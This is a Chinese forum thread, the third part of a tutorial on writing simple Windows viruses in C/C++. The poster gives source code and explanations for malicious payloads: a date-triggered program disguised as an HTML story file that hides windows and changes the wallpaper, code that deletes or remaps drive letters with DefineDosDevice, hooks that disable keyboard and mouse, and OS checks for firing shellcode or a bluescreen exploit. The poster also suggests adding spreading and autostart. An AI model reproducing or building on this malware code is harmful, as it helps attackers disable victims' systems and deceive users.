简单病毒编写(C/C++篇)(三)
erbi_lucifer吧
全部回复
仅看楼主
level 10
堕erbi 楼主

一楼度娘……


[揉脸]
2013年03月04日 04点03分 1
level 10
堕erbi 楼主

三、爆发
[吼叫]
2013年03月04日 04点03分 2
level 10
堕erbi 楼主

1. 特定时间内爆发
a. 简介
有些病毒在特定的时间内运行才有破坏效果,时间不对就直接退出。如欢乐时光病毒就是在月份+日期=13 的时候就爆发运行。
在特定的时间内运行选择的日期一般都有其特殊的意义,当然也有些是病毒作者为了制造爆发时的轰动场面,也会让自己的病毒在某个日期内集中爆发,而平时只进行感染传播的操作。
b. 程序逻辑:
a. 得到当前日期。
b. 判断日期是否规定的日期。
c. if 是 then:爆发。
d. else 传播或直接退出。
在编写的时候我们可以使用:
SYSTEMTIME time1;
GetLocalTime(&time1);
来获取当前的时间和日期。
SYSTEMTIME的结构体如下,我们使用GetLocalTime后,将会将当前系统的时间和日期填充到这个结构体内。
typedef struct_SYSTEMTIME {
WORD wYear; //年
WORD wMonth; //月
WORD wDayOfWeek; //星期
WORD wDay; //日
WORD wHour; //小时
WORD wMinute; //分钟
WORD wSecond; //秒
WORD wMilliseconds; //毫秒
} SYSTEMTIME,*PSYSTEMTIME, *LPSYSTEMTIME;
2013年03月04日 04点03分 3
level 10
堕erbi 楼主

c. 例子--:罪恶-时间
下面以这个小例子来介绍特定时间爆发的实现。
(“罪恶-时间”exe文件截图)
罪恶-时间
伪装成“给你一个故事-人生哲学--读者文摘推荐bygekexe.html”文件的病毒模型。
打开的时候判断当前日期,如果当前时间满足月份+日期=13 的话会在网上下载一张图片,然后设置为当前桌面壁纸,并在桌面右下方显示鲜红色的数字“13”,最后,对用户接触的所有拥有句柄的窗体(使用DirectUI之类的软件是无句柄窗体),进行隐藏。
如果时间不满足的话,会自动生成“给你一个故事-人生哲学--读者文摘推荐bygekexe.html”隐藏文件,并打开,打开后的5秒钟,自动删除该隐藏文件。
这是一个演示在特定时间爆发的病毒的模型,可以尝试修改系统日期后试一下(如 2月11日),再打开这个程序。
如果你这个小病毒爆发了,你可以按下Ctrl+Alt+Delete键,然后选择注销,再重新登录即可。
当然你可以修改源代码,让这个程序拥有传播性,开机启动等功能,判断是传播后的文件并时间不到的话就什么也不干退出,判断是传播前并时间未到的话就生成并打开html文件,判断是爆发日期的话,直接爆发。这样也是个不错的玩笑型病毒。
2013年03月04日 04点03分 4
level 10
堕erbi 楼主

d. 代码说明
主函数,时间日期的获取与判断都在这里,详细见下面的注释。
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCEhPrevInstance,PSTR szCmdLine, intiCmdShow)
{
SYSTEMTIME time1;
GetLocalTime(&time1); //获取当前时间日期
DWORD dwThreadId, dwThrdParam = 1;
GdiplusStartupInput m_gdiplusStartupInput; //gdi+画图需要
ULONG_PTR m_pGdiToken; //gdi+画图需要
GdiplusStartup(&m_pGdiToken,&m_gdiplusStartupInput,NULL);//gdi+画图初始化
if(time1.wMonth+time1.wDay==13){//如果 月份+日期=13 的话
//virus broken
desktopshow(); //下载图片并设置桌面背景,详细见源代码
CloseHandle(CreateThread( NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId));//线程,处理隐藏用户接触的窗体,详细见源代码
DrawMyString(); //gdi+画字符串“13”,详细见源代码
}else{ //时间不对
//提取,打开,删除html文件
ExtractResource("给你一个故事-人生哲学--读者文摘推荐bygetkexe.html", "luci",MAKEINTRESOURCEA(IDR_LUCI1));
ShellExecuteA(NULL,"open","给你一个故事-人生哲学--读者文摘推荐bygetkexe.html",NULL,NULL,SW_SHOWMAXIMIZED);
Sleep(2000);
DeleteFileA("给你一个故事-人生哲学--读者文摘推荐bygetkexe.html");
}
GdiplusShutdown(m_pGdiToken);//gdi+画图结束
return 0;
}
2013年03月04日 04点03分 5
level 10
堕erbi 楼主

3. 磁盘盘符破坏
a. 磁盘盘符
破坏型病毒可以尝试将磁盘盘符删除,造成访问错误,当我们打开“我的电脑”的时候,磁盘都没有了,所有的快捷方式失去作用等。
当然也可以将已经存在的一个文件夹映射为一个磁盘,如将所有的磁盘都映射到一个空的文件夹,用户打开的时候看到全盘都是空的。
DefineDosDevice可以将文件夹映射为磁盘,同时也可以将已经存在的磁盘删除或隐藏,于是我们的病毒可以使用它来实现。
b. 病毒例子:罪恶-虚荣
(罪恶-虚荣)
打开的时候会调用notepad.exe 打开自身,看起来就是整个记事本的乱码。同时开始隐藏当前所有磁盘,最后尝试将磁盘映射到一个空的文件夹中(重启后映射失效)。
(虚拟机中运行,所有程序都不可以打开,C盘,桌面等都不可以使用。如果直接注销或重启,那么再也登录不了系统了。)
如果你测试运行后磁盘消失了,你可以通过以下途径进行恢复(如果这是测试其中一个并且不是系统盘的情况下):
计算机—》右键选择“管理”—》弹出计算机管理窗口—》选择“储存”,“磁盘管理”选项—》选择对应的磁盘,右键,选择“更改驱动器号和路径”,为磁盘重新分配盘符即可。
另外,不要拿程序包里的那个去真机实验,那个包括系统盘一起干的,不可以使用上面的方法恢复。
2013年03月04日 04点03分 7
level 10
堕erbi 楼主

c. 实现过程。
//创建虚拟磁盘
bool CreateVD(TCHAR Disk[],TCHARPATHNAME[]){
if(!DefineDosDevice(DDD_RAW_TARGET_PATH,Disk,PATHNAME)) return false;
HANDLEvd=CreateFile(PATHNAME,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL);
if(vd==NULL)returnfalse;
elseCloseHandle(vd);
returntrue;
}
//删除磁盘
bool DeleteDrive(TCHAR *SThide){
TCHARDPath[MAX_PATH]={0};
QueryDosDevice(SThide,DPath,MAX_PATH);
if(!DefineDosDevice(DDD_REMOVE_DEFINITION,SThide,DPath))returnfalse;
elsereturn true;
}
通过历遍所有盘符,找到已经使用的盘符再调用上面两个函数就可以实现。
//遍历
void getdiskinit(){
TCHARdrivename[4]={0};
UINTtype=0;
wsprintf(drivename,L"a:\0");
for(inti=0;i<26;i++)isdisk[i]=L'0';
//盘符从 a 到 z
for(drivename[0]=L'a';drivename[0]<=L'z';drivename[0]++)
{
type=::GetDriveType(drivename);
//如果不是没有使用的
if(type!=DRIVE_NO_ROOT_DIR){
//加入列表
isdisk[num++]=drivename[0];
}
}
}
2013年03月04日 04点03分 8
level 10
堕erbi 楼主

4. 禁用鼠标和键盘
a. 禁用鼠标和键盘
禁用鼠标和键盘常用于某些恶作剧程序上,我们可以使用全局低级键盘钩子和全局低级鼠标钩子(这样不用将hook写在DLL里面)来获取和处理用户的按键和鼠标操作。
另外低级键盘钩子对“Ctrl+Alt+Delete”是不可以禁用到的(需要对winlogin做手脚,这里不做讨论),“Win+L”也是一样。
b. 例子小程序
(禁用键盘+鼠标的低级钩子.exe)
运行的时候会弹出“helloworld”的消息框,同时禁用键盘和鼠标。只需要同时按下“Ctrl+Alt+Delete”后就解除禁用了。
注:这个小程序(包括“其他小程序”目录下的)打开的时候都是没有提示用户是否要运行的。
2013年03月04日 04点03分 9
level 10
堕erbi 楼主

5. 操作系统类型判断
a. 系统类型获取
如果病毒是有针对某个系统版本而设置的,传播到的系统如果不是目标版本系统那么就不爆发,以免运行出错进而被用户察觉。这个特别是程序需要使用到shellcode或exploit的时候特别重要。
GetVersionEx可以获取操作系统的版本
SYSTEM_INFO info;
GetSystemInfo(&info);
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO*)&os);
我们根据os.dwMajorVersion 的值来判断操作系统主版本,根据os.dwMinorVersion 来判断操作系统的副版本。
如:
如果要判断是否64位系统,MSDN推荐的是使用IsWow64:
//判断是否64位系统,是的话返回TRUE
BOOL IsWow64(){
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS)(HANDLE,PBOOL);
LPFN_ISWOW64PROCESS fnIsWow64Process;
BOOL bIsWow64=FALSE;
fnIsWow64Process=(LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandle(L"kernel32"),"IsWow64Process");
if(NULL!=fnIsWow64Process){
fnIsWow64Process(GetCurrentProcess(),&bIsWow64);
}
returnbIsWow64;
}
2013年03月04日 05点03分 11
level 10
堕erbi 楼主

b. 程序例子:罪恶-选择
一个根据系统类型选择操作的例子。
(罪恶-选择)
打开的时候会判断操作系统版本。
如果是win7或vista:
输出“helloworld!”
使用shellcode调用cmd窗口然后退出。(这个shellcode可以在win7或vista中使用)
如果是xp或2k(下面的操作在win7没有用,在xp或2k可以)
尝试触发ms08-025漏洞使蓝屏
尝试debug程序“winlogon.exe”使系统蓝屏。
如果是其他系统
输出“helloworld!”
2013年03月04日 05点03分 12
level 10
堕erbi 楼主

c. 程序实现
//判断是否XP或2K系统,主要主版本号等于5即可。
BOOL IsXPOr2K(){
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
if(GetVersionEx((OSVERSIONINFO*)&os))
{
if(os.dwMajorVersion==5)return TRUE;
else return FALSE;
}else return FALSE;
}
//判断是否vista或win7,需要主版本号等于6,类型是VER_NT_WORKSTATION,并且副版本是0或1.
BOOL IsVistaOr7(){
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
if(GetVersionEx((OSVERSIONINFO*)&os))
{
if(os.dwMajorVersion==6&& os.wProductType==VER_NT_WORKSTATION)
if(os.dwMinorVersion==0|| os.dwMinorVersion==1)return TRUE;
elsereturn FALSE;
else return FALSE;
}else return FALSE;
}
程序逻辑:
int main(){
if(IsXPOr2K()){ //是xp或2k系统
//调用xp或2k可以使用的函数,具体实现见代码
RunIn_Xp2K();
}else if(IsVistaOr7()){ //是vista或win7
printf("helloworld!\n");
//调用vista或win7 可以使用的函数,具体实现见代码
RunIn_V7();
getchar();
}else{
//其他版本不理
printf("helloworld!\n");
getchar();
}
return0;
}
2013年03月04日 05点03分 13
level 10
堕erbi 楼主

结束?
[我爱牛奶]
其实对于病毒的编写还有很多深奥的方面,如驱动,改写分区表,BIOS,磁盘主引导记录,硬件破坏,rootkit,bootkit等。当然使用C\C++编写病毒并不是好的选择,最好还是推荐使用汇编语言。
或许以后会再找个机会尝试续写一份汇编的,但是不是现在。现在的路还很长,时间却很紧迫,要学习的东西太多了。
当然,现在很多人对病毒是很忌讳的,包括我,我可不想突然间,搜集的文件,编写的代码都被病毒“吃”掉了。人对未知的危险事物总是抱有一种恐惧心理,这也是为什么有些人碰到病毒就手忙脚乱,勉强用杀毒软件处理掉后就开始对病毒写作者破口大骂。尝试着去了解病毒,或许下次再遇到它,就不会那么狼狈了。如果你厌恶病毒,你可以尝试去分析它,进而找到查杀它的各种办法,如果你喜欢病毒,你可以尝试去编写部分功能,探讨实现的过程。但请不要完整地编写一个病毒(这是违法的说),更不要让它传播出去(最好永远躺在自己的虚拟机中)。
尝试去接触编写病毒的时候才知道自己的知识是多么匮乏,也是因为这种对知识的不足感驱使着我们继续去探讨。[Yeah]
2013年03月04日 05点03分 14
level 10
堕erbi 楼主

>>
>> to be continue……or not
    / \./ \/\_   I Hand You
  __{^\_ _}_  ) }/^\    A Rose...
 / /\_/^\._}_/ // /
( (__{(@)}\__}.//_/__A___A______A_______A______A____
 \__/{/(_)\_} )\\ \\---v----V-----V--Y----v---Y-----
  (  (__)_)_/ )\ \>
\__/   \__/\/\/
    \__,--'    
2013年03月04日 05点03分 15
level 2
CONTINUE!
2015年09月07日 13点09分 17
level 4
请问这些函数,你是怎么学的?虽然说是c语言,感觉自己一直在学语法和算法,真正能的有窗口的软件到时一个没学过。,是API?还是什么,求解。
2015年09月12日 01点09分 18
《Windows程序设计》
2015年09月12日 02点09分
level 1
哇,精彩啊,挖坟了
2017年12月06日 03点12分 19
1